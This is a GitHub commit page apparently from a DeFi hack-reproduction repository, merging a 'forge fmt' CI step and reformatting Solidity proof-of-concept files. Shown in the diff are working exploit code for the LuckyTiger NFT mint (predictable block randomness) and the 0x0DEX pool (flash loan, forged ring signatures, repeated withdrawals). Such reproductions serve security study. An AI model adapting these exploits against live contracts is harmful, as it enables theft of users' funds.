Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#490 from wiasliaw/ci/lint
Browse files Browse the repository at this point in the history
add `forge fmt` in ci
  • Loading branch information
SunWeb3Sec authored Dec 6, 2023
2 parents b8a14e2 + 08159f4 commit 7ebd7e3
Show file tree
Hide file tree
Showing 193 changed files with 4,747 additions and 6,485 deletions.
5 changes: 4 additions & 1 deletion .github/workflows/main.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
on:
push:
branches:
- 'main'
- "main"

name: Build

Expand All @@ -19,5 +19,8 @@ jobs:
with:
version: nightly

- name: Run lint
run: forge fmt

- name: Run build
run: forge build
4 changes: 1 addition & 3 deletions script/Exploit-template.sol
Original file line number Diff line number Diff line change
Expand Up @@ -17,14 +17,12 @@ import "forge-std/Script.sol";
// Twitter Guy : https://www.google.com/
// Hacking God : https://www.google.com/


contract ExploitScript is Script {
function setUp() public {}

function run() public {
vm.startBroadcast();


vm.stopBroadcast();
}
}
}
69 changes: 32 additions & 37 deletions script/LuckyTiger_s_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@

pragma solidity ^0.8.13;


import "forge-std/Script.sol";

/*
Expand All @@ -13,68 +12,64 @@ import "forge-std/Script.sol";
poc refers to: https://github.com/0xNezha/luckyHack
*/
contract luckyHack is Script {
event Log(string);

event Log(string);
address owner = address(this);
address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;

address owner = address(this);
address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;

function setUp() public {
vm.deal(address(this), 3 ether);
vm.deal(address(nftAddress), 5 ether);
}

function getRandom() public view returns(uint){
if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
function getRandom() public view returns (uint256) {
if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
return 0;
}else{
} else {
return 1;
}
}

}

function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}

function hack(uint256 amount) public {
console.log("Contract balance",address(this).balance);
console.log("getRandom",getRandom());
function hack(uint256 amount) public {
console.log("Contract balance", address(this).balance);
console.log("getRandom", getRandom());

if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
revert("Not lucky");
}
if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {
revert("Not lucky");
}

bytes memory data = abi.encodeWithSignature("publicMint()");
for(uint i=0; i<amount ; ++i){

for (uint256 i = 0; i < amount; ++i) {
if (address(nftAddress).balance <= 0.01 ether) {
emit Log("rug away!");

return;
}

(bool status,) = address(nftAddress).call{value:0.01 ether}(data);
if( !status ){
revert("error");
}else{
emit Log("success");
}
}
}

(bool status,) = address(nftAddress).call{value: 0.01 ether}(data);
if (!status) {
revert("error");
} else {
emit Log("success");
}
}
}

function run() public {
vm.startBroadcast();

hack(50);

vm.stopBroadcast();
}

function getBalance() external view returns(uint256) {
return address(this).balance;
function getBalance() external view returns (uint256) {
return address(this).balance;
}

receive() external payable {}
}
receive() external payable {}
}
6 changes: 3 additions & 3 deletions src/test/0vix_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -144,13 +144,13 @@ contract ContractTest is Test {

emit log_named_decimal_uint(
"Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
);
);
emit log_named_decimal_uint(
"Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
);
);
emit log_named_decimal_uint(
"Attacker GHST balance after exploit", GHST.balanceOf(address(this)), GHST.decimals()
);
);
}
// aaveV3, aaveV2 FlashLoan callback

Expand Down
98 changes: 23 additions & 75 deletions src/test/0x0DEX_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -37,10 +37,7 @@ struct WithdrawalData {
}

interface IOxODexPool {
function deposit(
uint256 _amount,
uint256[4] memory _publicKey
) external payable;
function deposit(uint256 _amount, uint256[4] memory _publicKey) external payable;

function withdraw(
address payable recipient,
Expand All @@ -57,43 +54,32 @@ interface IOxODexPool {
WithdrawalData memory withdrawalData
) external;

function getCurrentRingIndex(
uint256 amountToken
) external view returns (uint256);
function getCurrentRingIndex(uint256 amountToken) external view returns (uint256);

function getRingHash(
uint256 _amountToken,
uint256 _ringIndex
) external view returns (bytes32);
function getRingHash(uint256 _amountToken, uint256 _ringIndex) external view returns (bytes32);
}

contract ContractTest is Test {
IOxODexPool private constant OxODexPool =
IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);
WETH9 private constant WETH =
WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private constant USDC =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IBalancerVault private constant BalancerVault =
IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
Uni_Router_V2 private constant Router =
Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);
WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

// begin sync with library Sig1.
uint256 private constant Bx =
1368015179489954701390400359078579693043519447331113978918064868415326638035;
1_368_015_179_489_954_701_390_400_359_078_579_693_043_519_447_331_113_978_918_064_868_415_326_638_035;
uint256 private constant By =
9918110051302171585080402603319702774565515993150576347155970296011118125764;
9_918_110_051_302_171_585_080_402_603_319_702_774_565_515_993_150_576_347_155_970_296_011_118_125_764;
uint256 private constant Hx =
2286484483920925456308759965850684826720807236777393886284879343816677643124;
2_286_484_483_920_925_456_308_759_965_850_684_826_720_807_236_777_393_886_284_879_343_816_677_643_124;
uint256 private constant Hy =
1804024400776434902361310543986557260474938171670710692674407862657333646188;
1_804_024_400_776_434_902_361_310_543_986_557_260_474_938_171_670_710_692_674_407_862_657_333_646_188;
// https://github.com/kendricktan/heiswap-dapp/blob/master/contracts/AltBn128.sol#L13
uint256 private constant curveN =
0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;
uint256 private constant curveN = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;

function setUp() public {
vm.createSelectFork("mainnet", 18115707);
vm.createSelectFork("mainnet", 18_115_707);
vm.label(address(OxODexPool), "OxODexPool");
vm.label(address(WETH), "WETH");
vm.label(address(USDC), "USDC");
Expand All @@ -111,11 +97,7 @@ contract ContractTest is Test {
amounts[0] = loan;

BalancerVault.flashLoan(address(this), tokens, amounts, "");
emit log_named_decimal_uint(
"Attacker ETH balance after exploit",
address(this).balance,
18
);
emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);
}

function receiveFlashLoan(
Expand All @@ -132,51 +114,29 @@ contract ContractTest is Test {
address[] memory path = new address[](2);
path[0] = address(USDC);
path[1] = address(WETH);
Router.swapExactTokensForETH(
USDC.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
Router.swapExactTokensForETH(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);
WETH.deposit{value: amounts[0] + fees[0]}();
WETH.transfer(address(BalancerVault), amounts[0] + fees[0]);
}

function exploit() internal {
// send ETH so pool balance is a multiple of 10
uint256 poolETHBalance = address(OxODexPool).balance;
poolETHBalance =
10 ether -
(poolETHBalance - (poolETHBalance / 10 ether) * 10 ether);
poolETHBalance = 10 ether - (poolETHBalance - (poolETHBalance / 10 ether) * 10 ether);
new ForceSend{value: poolETHBalance}();

WithdrawalData memory w;
// alter lastAmount (_lastWithdrawal) to 10
uint256 ringIndex = deposit(10 ether);
w = withdrawData(address(this), 10 ether, ringIndex);
w.wType = Types.WithdrawalType.Swap;
OxODexPool.swapOnWithdrawal(
address(USDC),
payable(address(this)),
0,
0,
block.timestamp,
w
);
OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w);

while (address(OxODexPool).balance >= 10 ether) {
ringIndex = deposit(0.1 ether);
w = withdrawData(address(this), 0.1 ether, ringIndex);
// Withdrawal type Direct (0)
OxODexPool.swapOnWithdrawal(
address(USDC),
payable(address(this)),
0,
0,
block.timestamp,
w
);
OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w);
}
}

Expand Down Expand Up @@ -230,23 +190,15 @@ contract ContractTest is Test {
c[1] = createHash(ringHash, recv, G, H);
// pick s1 := 1
s[1] = 1;
c[0] = createHash(
ringHash,
recv,
ecAdd(G, ecMul(B, c[1])),
ecMul(H, c[1] + 1)
);
c[0] = createHash(ringHash, recv, ecAdd(G, ecMul(B, c[1])), ecMul(H, c[1] + 1));
// s0 := u - p_0 * c_0 (mod N)
// this is NOT likely to overflow
s[0] = curveN + 1 - c[0];
}

// Function for making a call to bn256Add (address 0x06) precompile
// More about precompiles - https://medium.com/@rbkhmrcr/precompiles-solidity-e5d29bd428c4
function ecAdd(
uint256[2] memory p,
uint256[2] memory q
) internal view returns (uint256[2] memory r) {
function ecAdd(uint256[2] memory p, uint256[2] memory q) internal view returns (uint256[2] memory r) {
assembly {
// Free memory pointer
let fp := mload(0x40)
Expand All @@ -259,10 +211,7 @@ contract ContractTest is Test {
}

// Function for making a call to bn256ScalarMul (address 0x07) precompile
function ecMul(
uint256[2] memory p,
uint256 k
) internal view returns (uint256[2] memory kP) {
function ecMul(uint256[2] memory p, uint256 k) internal view returns (uint256[2] memory kP) {
assembly {
let fp := mload(0x40)
mstore(fp, mload(p))
Expand Down Expand Up @@ -305,8 +254,7 @@ contract ContractTest is Test {
}

contract ForceSend {
IOxODexPool private constant OxODexPool =
IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);
IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);

constructor() payable {
selfdestruct(payable(address(OxODexPool)));
Expand Down
Loading

0 comments on commit 7ebd7e3

Please sign in to comment.